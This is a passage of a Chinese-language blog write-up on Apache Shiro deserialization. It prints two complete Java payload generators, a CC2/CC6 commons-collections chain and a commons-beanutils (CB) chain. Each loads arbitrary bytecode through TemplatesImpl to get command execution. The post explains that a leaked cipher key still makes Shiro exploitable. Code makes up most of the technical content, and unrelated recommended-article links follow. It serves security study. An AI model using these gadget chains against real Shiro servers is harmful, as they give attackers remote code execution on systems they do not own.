
文章插图
image
最后在原来的CC链的基础少结合CC2+CC6得出下面这条链 。
public Object getPayload(String[] args) throws Exception {TemplatesImpl templatesImpl = new TemplatesImpl();Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field nameField = templatesClass.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesImpl, "123");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get(args[0]));byte[][] codes = new byte[][]{code};bytecodesField.set(templatesImpl, codes);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templatesImpl, new TransformerFactoryImpl());Field auxClassesField = templatesClass.getDeclaredField("_auxClasses");auxClassesField.setAccessible(true);auxClassesField.set(templatesImpl, (Object)null);InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});Map<Object, Object> map = new HashMap();LazyMap lazyMap = (LazyMap)LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templatesImpl);Map<Object, Object> map1 = new HashMap();map1.put(tiedMapEntry, "bbb");lazyMap.remove(templatesImpl);Class c = LazyMap.class;Field factoryfield = c.getDeclaredField("factory");factoryfield.setAccessible(true);factoryfield.set(lazyMap, invokerTransformer);return map1;}或者直接用依赖commons-collections4的CC2也可以 。上面这种方式是需要我们补依赖环境的,在实战中这种方式就会有一定的限制,所以我们在shiro中更多的是使用的它自带的CB链去利用 。在前面学习CC链的时候了解到TemplatesImpl这个类,在这个类里面自定义了类加载器,只要调用TemplatesImpl#newTransformer就可以触发类加载 。我们继续回溯找到了TrAXFilter的构造函数中调用了该方法,另外还有TemplatesImpl#getOutputProperties中也调用了newTransformer,其中CB链就是用的后面这个点 。
可以看到getOutputProperties是一个getter方法,在commons-beanutils中有一个调用任意对象getter的方法org.apache.commons.beanutils.PropertyUtils#getProperty(Object bean, String name),它在org.apache.commons.beanutils.BeanComparator#compare中被调用,且参数可控,所以再结合前面CC链的部分最后得出下面的CB链 。
public Object getPayload(String[] args) throws Exception {TemplatesImpl templatesImpl = new TemplatesImpl();Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field nameField = templatesClass.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesImpl, "123");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get(args[0]));byte[][] codes = new byte[][]{code};bytecodesField.set(templatesImpl, codes);Field auxClassesField = templatesClass.getDeclaredField("_auxClasses");auxClassesField.setAccessible(true);auxClassesField.set(templatesImpl, (Object)null);BeanComparator beanComparator = new BeanComparator();beanComparator.setProperty("outputProperties");PriorityQueue priorityQueue = new PriorityQueue();priorityQueue.add(1);priorityQueue.add(1);Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;Field queueField = priorityQueueClass.getDeclaredField("queue");queueField.setAccessible(true);Object[] o = (Object[]) queueField.get(priorityQueue);o[0] = templatesImpl;o[1] = templatesImpl;Field comparator = priorityQueueClass.getDeclaredField("comparator");comparator.setAccessible(true);comparator.set(priorityQueue,beanComparator);return priorityQueue;}最后也同样实现了命令执行 。
文章插图
image
总结以上就是关于shiro反序列化的所有分析了,虽然在1.2.4之后shiro就采用了自定义密钥或者随机生成密钥,但真正反序列点还是没有改变,如果存在密钥泄露依然可以导致反序列化 。
参考资料Shiro反序列化漏洞(一)-shiro550流程分析-白日梦组长
Tomcat源码初识一 Tomcat整理流程图
【深入理解Shiro反序列化原理】
推荐阅读
- “鲶鱼须”取代“高马尾”,中学女生发型大变样,越来越难理解了
- 安娜李的性解放,一部深入探讨自我价值和性观念的电影
- 解读机关公务员视同缴费年限规定,你真理解了吗?
- 手机丢了怎么能找回来oq
- 胡总发声,“牵手门”事件大结局,网友称:无法理解胡夫人的大度
- |张雪峰回应文科歧视,其实是家长们理解错了,忠言逆耳利于行
- 麦家琪|麦家琪儿子怒斥母亲当年行径,艳星总是被人不理解
- 现货黄金哪里可以开户卖
- 孙俪|“蔡公馆”蔡康永,怎能理解孙俪,4次家庭危机,均不是无常?
- |不带钩调漂的好处,如果是初学者,能对调漂有更深的理解
